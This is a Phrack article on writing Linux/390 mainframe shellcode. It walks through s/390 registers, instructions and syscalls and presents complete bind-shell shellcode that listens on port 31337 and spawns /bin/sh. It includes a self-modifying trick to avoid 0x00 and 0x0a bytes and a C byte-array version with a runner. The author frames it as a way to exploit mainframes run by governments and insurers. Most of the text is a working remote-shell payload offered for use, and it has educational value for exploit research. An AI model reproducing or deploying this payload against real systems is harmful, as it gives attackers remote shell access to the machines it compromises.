123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496 |
- ==Phrack Inc.==
- Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12
- |=----------------=[ Linux/390 shellcode development ]=------------------=|
- |=-----------------------------------------------------------------------=|
- |=-------------=[ johnny cyberpunk <jcyberpunk@thc.org> ]=---------------=|
- --[ Contents
- 1 - Introduction
- 2 - History and facts
- 2.1 - Registers
- 2.2 - Instruction set
- 2.3 - Syscalls
- 2.4 - The native code
- 2.5 - Avoiding the evil 0x00 and 0x0a
- 2.6 - The final code
- 3 - References
- --[ 1 - Introduction
- Since Linux/390 has been released by IBM more and more b0xes of this
- type can be found in the wild. A good reason for a hacker to get a closer
- look on how vulnerable services can be exploited on a mainframe. Remember,
- who are the owners of mainframes ? Yeah, big computer centres, insurances
- or goverments. Well, in this article I'll uncover how to write the bad code
- (aka shellcode). The bind-shellcode at the end should be taken as an
- example. Other shellcode and exploit against some known vulnerabilities can
- be found on a seperate link (see References) in the next few weeks.
- Suggestions, improvements or flames can be send directly to the email
- address posted in the header of this article. My gpg-key can be found at
- the document bottom.
- --[ 2 - History and facts
- In late 1998 a small team of IBM developers from Boeblingen/Germany
- started to port Linux to mainframes. One year later in December 1999 the
- first version has been published for the IBM s/390. There are two versions
- available:
- A 32 bit version, referred to as Linux on s/390 and a 64 bit version,
- referred to as Linux on zSeries. Supported distros are Suse, Redhat and
- TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is
- based on kernel 2.4. There are different ways to run Linux:
- Native - Linux runs on the entire machine, with no other OS
- LPAR - Logical PARtition): The hardware can be logically
- partitioned, for example, one LPAR hosts a VM/VSE
- environment and another LPAR hosts Linux.
- VM/ESA Guest - means that a customer can also run Linux in a virtual
- machine
- The binaries are in ELF format (big endianess).
- ----[ 2.1 - Registers
- For our shellcode development we really don't need the whole bunch of
- registers the s/390 or zSeries has. The most interesting for us are the
- registers %r0-%r15. Anyway I'll list some others here for to get an
- overview.
- General propose registers :
- %r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic
-
- Control registers :
- cr0-cr15 are only used by kernel for irq control, memory
- management, debugging control ...
-
- Access registers :
- ar0-ar15 are normally not used by programs, but good for
- temporary storage
-
- Floating point registers :
- fp0-fp15 are IEEE and HFP floating ( Linux only uses IEEE )
-
- PSW ( Programm Status Word ) :
- is the most important register and serves the roles of a program
- counter, memory space designator and condition code register.
- For those who wanna know more about this register, should take
- a closer look on the references at the bottom.
-
-
- ----[ 2.2 - Instruction set
- Next I'll show you some useful instructions we will need, while developing
- our shellcode.
- Instruction Example
- ---------------------------------------------------------------------------
- basr (branch and save) %r1,0 # save value 0 to %r1
- lhi (load h/word immediate) lhi %r4,2 # load value 2 into %r4
- la (load address) la %r3,120(%r15) # load address from
- # %r15+120 into %r3
- lr (load register) lr %r4,%r9 # load value from %r9
- # into %r4
- stc (store character) stc %r6,120(%r15) # store 1 character from
- # %r6 to %r15+120
- sth (store halfword) sth %r3,122(%r15) # store 2 bytes from
- # %r3 to %r15+122
- ar (add) ar %r6,%r10 # add value in %r10 ->%r6
- xr (exclusive or) xr %r2,%r2 # 0x00 trick :)
- svc (service call) svc 1 # exit
- ----[ 2.3 - Syscalls
- On Linux for s/390 or zSeries syscalls are done by using the
- instruction SVC with it's opcode 0x0a ! This is no good message for
- shellcoders, coz 0x0a is a special character in a lot of services. But
- before i start explaining how we can avoid using this call let's have a
- look on how our OS is using the syscalls.
- The first four parameters of a syscall are delivered to the registers
- %r2-%r5 and the resultcode can be found in %r2 after the SVC call.
- Example of an execve call:
- basr %r1,0
- base:
- la %r2,exec-base(%r1)
- la %r3,arg-base(%r1)
- la %r4,tonull-base(%r1)
- svc 11
- exec:
- .string "/bin//sh"
- arg:
- .long exec
- tonull:
- .long 0x0
-
- A special case is the SVC call 102 (SYS_SOCKET). First we have to feed
- the register %r2 with the desired function ( socket, bind, listen, accept,
- ....) and %r3 points to a list of parameters this function needs. Every
- parameter in this list has its own u_long value.
- And again an example of a socket() call :
- lhi %r2,2 # domain
- lhi %r3,1 # type
- xr %r4,%r4 # protocol
- stm %r2,%r4,128(%r15) # store %r2 - %r4
- lhi %r2,1 # function socket()
- la %r3,128(%r15) # pointer to the API values
- svc 102 # SOCKETCALL
- lr %r7,%r2 # save filedescriptor to %r7
-
-
- ----[ 2.4 - The native code
- So now, here is a sample of a complete portbindshell in native style :
- .globl _start
-
- _start:
- basr %r1,0 # our base-address
- base:
- lhi %r2,2 # AF_INET
- sth %r2,120(%r15)
- lhi %r3,31337 # port
- sth %r3,122(%r15)
- xr %r4,%r4 # INADDR_ANY
- st %r4,124(%r15) # 120-127 is struct sockaddr *
- lhi %r3,1 # SOCK_STREAM
- stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
- lhi %r2,1 # SOCKET_socket
- la %r3,128(%r15) # pointer to the API values
- svc 102 # SOCKETCALL
- lr %r7,%r2 # save socket fd to %r7
- la %r3,120(%r15) # pointer to struct sockaddr *
- lhi %r9,16 # save value 16 to %r9
- lr %r4,%r9 # sizeof address
- stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
- lhi %r2,2 # SOCKET_bind
- la %r3,128(%r15) # pointer to the API values
- svc 102 # SOCKETCALL
- lr %r2,%r7 # get saved socket fd
- lhi %r3,1 # MAXNUMBER
- stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
- lhi %r2,4 # SOCKET_listen
- la %r3,128(%r15) # pointer to the API values
- svc 102 # SOCKETCALL
- lr %r2,%r7 # get saved socket fd
- la %r3,120(%r15) # pointer to struct sockaddr *
- stm %r2,%r3,128(%r15) # store %r2-%r3,our API values
- st %r9,136(%r15) # %r9 = 16, this case: fromlen
- lhi %r2,5 # SOCKET_accept
- la %r3,128(%r15) # pointer to the API values
- svc 102 # SOCKETCALL
- xr %r3,%r3 # the following shit
- svc 63 # duplicates stdin, stdout
- ahi %r3,1 # stderr
- svc 63 # DUP2
- ahi %r3,1
- svc 63
- la %r2,exec-base(%r1) # point to /bin/sh
- la %r3,arg-base(%r1) # points to address of /bin/sh
- la %r4,tonull-base(%r1) # point to envp value
- svc 11 # execve
- slr %r2,%r2
- svc 1 # exit
-
- exec:
- .string "/bin//sh"
- arg:
- .long exec
- tonull:
- .long 0x0
- ----[ 2.5 - Avoiding 0x00 and 0x0a
- To get a clean working shellcode we have two things to bypass. First
- avoiding 0x00 and second avoiding 0x0a.
- Here is our first case :
- a7 28 00 02 lhi %r2,02
- And here is my solution :
- a7 a8 fb b4 lhi %r10,-1100
- a7 28 04 4e lhi %r2,1102
- 1a 2a ar %r2,%r10
- I statically define a value -1100 in %r10 to use it multiple times.
- After that i load my wanted value plus 1100 and in the next instruction
- the subtraction of 1102-1100 gives me the real value. Quite easy.
- To get around the next problem we have to use selfmodifing code:
- svc:
- .long 0x0b6607fe <---- will be svc 66, br %r14 after
- code modification
- Look at the first byte, it has the value 0x0b at the moment. The
- following code changes this value to 0x0a:
- basr %r1,0 # our base-address
- la %r9,svc-base(%r1) # load address of svc subroutine
- lhi %r6,1110 # selfmodifing
- lhi %r10,-1100 # code is used
- ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
- stc %r6,svc-base(%r1) # store svc opcode
- Finally the modified code looks as follows :
- 0a 66 svc 66
- 07 fe br %r14
- To branch to this subroutine we use the following command :
- basr %r14,%r9 # branch to subroutine SVC 102
- The Register %r9 has the address of the subroutine and %r14 contains
- the address where to jump back.
- ----[ 2.6 - The final code
- Finally we made it, our shellcode is ready for a first test:
- .globl _start
-
- _start:
- basr %r1,0 # our base-address
- base:
- la %r9,svc-base(%r1) # load address of svc subroutine
- lhi %r6,1110 # selfmodifing
- lhi %r10,-1100 # code is used
- ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
- stc %r6,svc-base(%r1) # store svc opcode
- lhi %r2,1102 # portbind code always uses
- ar %r2,%r10 # real value-1100 (here AF_INET)
- sth %r2,120(%r15)
- lhi %r3,31337 # port
- sth %r3,122(%r15)
- xr %r4,%r4 # INADDR_ANY
- st %r4,124(%r15) # 120-127 is struct sockaddr *
- lhi %r3,1101 # SOCK_STREAM
- ar %r3,%r10
- stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
- lhi %r2,1101 # SOCKET_socket
- ar %r2,%r10
- la %r3,128(%r15) # pointer to the API values
- basr %r14,%r9 # branch to subroutine SVC 102
- lr %r7,%r2 # save socket fd to %r7
- la %r3,120(%r15) # pointer to struct sockaddr *
- lhi %r8,1116
- ar %r8,%r10 # value 16 is stored in %r8
- lr %r4,%r8 # size of address
- stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
- lhi %r2,1102 # SOCKET_bind
- ar %r2,%r10
- la %r3,128(%r15) # pointer to the API values
- basr %r14,%r9 # branch to subroutine SVC 102
- lr %r2,%r7 # get saved socket fd
- lhi %r3,1101 # MAXNUMBER
- ar %r3,%r10
- stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
- lhi %r2,1104 # SOCKET_listen
- ar %r2,%r10
- la %r3,128(%r15) # pointer to the API values
- basr %r14,%r9 # branch to subroutine SVC 102
- lr %r2,%r7 # get saved socket fd
- la %r3,120(%r15) # pointer to struct sockaddr *
- stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
- st %r8,136(%r15) # %r8 = 16, in this case fromlen
- lhi %r2,1105 # SOCKET_accept
- ar %r2,%r10
- la %r3,128(%r15) # pointer to the API values
- basr %r14,%r9 # branch to subroutine SVC 102
- lhi %r6,1163 # initiate SVC 63 = DUP2
- ar %r6,%r10
- stc %r6,svc+1-base(%r1) # modify subroutine to SVC 63
- lhi %r3,1102 # the following shit
- ar %r3,%r10 # duplicates
- basr %r14,%r9 # stdin, stdout
- ahi %r3,-1 # stderr
- basr %r14,%r9 # SVC 63 = DUP2
- ahi %r3,-1
- basr %r14,%r9
- lhi %r6,1111 # initiate SVC 11 = execve
- ar %r6,%r10
- stc %r6,svc+1-base(%r1) # modify subroutine to SVC 11
- la %r2,exec-base(%r1) # point to /bin/sh
- st %r2,exec+8-base(%r1) # save address to /bin/sh
- la %r3,exec+8-base(%r1) # points to address of /bin/sh
- xr %r4,%r4 # 0x00 is envp
- stc %r4,exec+7-base(%r1) # fix last byte /bin/sh\\ to 0x00
- st %r4,exec+12-base(%r1) # store 0x00 value for envp
- la %r4,exec+12-base(%r1) # point to envp value
- basr %r14,%r9 # branch to subroutine SVC 11
- svc:
- .long 0x0b6607fe # our subroutine SVC n + br %r14
- exec:
- .string "/bin/sh\\"
-
- In a C-code environment it looks like this :
- char shellcode[]=
- "\x0d\x10" /* basr %r1,%r0 */
- "\x41\x90\x10\xd4" /* la %r9,212(%r1) */
- "\xa7\x68\x04\x56" /* lhi %r6,1110 */
- "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
- "\x1a\x6a" /* ar %r6,%r10 */
- "\x42\x60\x10\xd4" /* stc %r6,212(%r1) */
- "\xa7\x28\x04\x4e" /* lhi %r2,1102 */
- "\x1a\x2a" /* ar %r2,%r10 */
- "\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
- "\xa7\x38\x7a\x69" /* lhi %r3,31337 */
- "\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
- "\x17\x44" /* xr %r4,%r4 */
- "\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
- "\xa7\x38\x04\x4d" /* lhi %r3,1101 */
- "\x1a\x3a" /* ar %r3,%r10 */
- "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
- "\xa7\x28\x04\x4d" /* lhi %r2,1101 */
- "\x1a\x2a" /* ar %r2,%r10 */
- "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\x18\x72" /* lr %r7,%r2 */
- "\x41\x30\xf0\x78" /* la %r3,120(%r15) */
- "\xa7\x88\x04\x5c" /* lhi %r8,1116 */
- "\x1a\x8a" /* ar %r8,%r10 */
- "\x18\x48" /* lr %r4,%r8 */
- "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
- "\xa7\x28\x04\x4e" /* lhi %r2,1102 */
- "\x1a\x2a" /* ar %r2,%r10 */
- "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\x18\x27" /* lr %r2,%r7 */
- "\xa7\x38\x04\x4d" /* lhi %r3,1101 */
- "\x1a\x3a" /* ar %r3,%r10 */
- "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
- "\xa7\x28\x04\x50" /* lhi %r2,1104 */
- "\x1a\x2a" /* ar %r2,%r10 */
- "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\x18\x27" /* lr %r2,%r7 */
- "\x41\x30\xf0\x78" /* la %r3,120(%r15) */
- "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
- "\x50\x80\xf0\x88" /* st %r8,136(%r15) */
- "\xa7\x28\x04\x51" /* lhi %r2,1105 */
- "\x1a\x2a" /* ar %r2,%r10 */
- "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\xa7\x68\x04\x8b" /* lhi %r6,1163 */
- "\x1a\x6a" /* ar %r6,%r10 */
- "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
- "\xa7\x38\x04\x4e" /* lhi %r3,1102 */
- "\x1a\x3a" /* ar %r3,%r10 */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\xa7\x68\x04\x57" /* lhi %r6,1111 */
- "\x1a\x6a" /* ar %r6,%r10 */
- "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
- "\x41\x20\x10\xd8" /* la %r2,216(%r1) */
- "\x50\x20\x10\xe0" /* st %r2,224(%r1) */
- "\x41\x30\x10\xe0" /* la %r3,224(%r1) */
- "\x17\x44" /* xr %r4,%r4 */
- "\x42\x40\x10\xdf" /* stc %r4,223(%r1) */
- "\x50\x40\x10\xe4" /* st %r4,228(%r1) */
- "\x41\x40\x10\xe4" /* la %r4,228(%r1) */
- "\x0d\xe9" /* basr %r14,%r9 */
- "\x0b\x66" /* svc 102 <--- after modification */
- "\x07\xfe" /* br %r14 */
- "\x2f\x62\x69\x6e" /* /bin */
- "\x2f\x73\x68\x5c"; /* /sh\ */
- main()
- {
- void (*z)()=(void*)shellcode;
- z();
- }
- --[ 3 - References:
- [1] z/Architecture Principles of Operation (SA22-7832-00)
- http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf
- [2] Linux for S/390 ( SG24-4987-00 )
- http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf
- [3] LINUX for S/390 ELF Application Binary Interface Supplement
- http://oss.software.ibm.com/linux390/docu/l390abi0.pdf
- [4] Example exploits
- http://www.thc.org/misc/sploits/
- -----BEGIN PGP PUBLIC KEY BLOCK-----
- Version: GnuPG v1.0.6 (GNU/Linux)
- Comment: Weitere Infos: siehe http://www.gnupg.org
- mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h
- sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t
- 8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9
- LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy
- BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL
- F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B
- a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j
- DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX
- G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5
- YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD
- FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf
- byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO
- iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj
- t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9
- nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj
- y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g
- eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A
- AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC
- vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF
- cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6
- C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf
- Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay
- R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP
- AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI=
- =2B7h
- -----END PGP PUBLIC KEY BLOCK-----
- |=[ EOF ]=---------------------------------------------------------------=|
|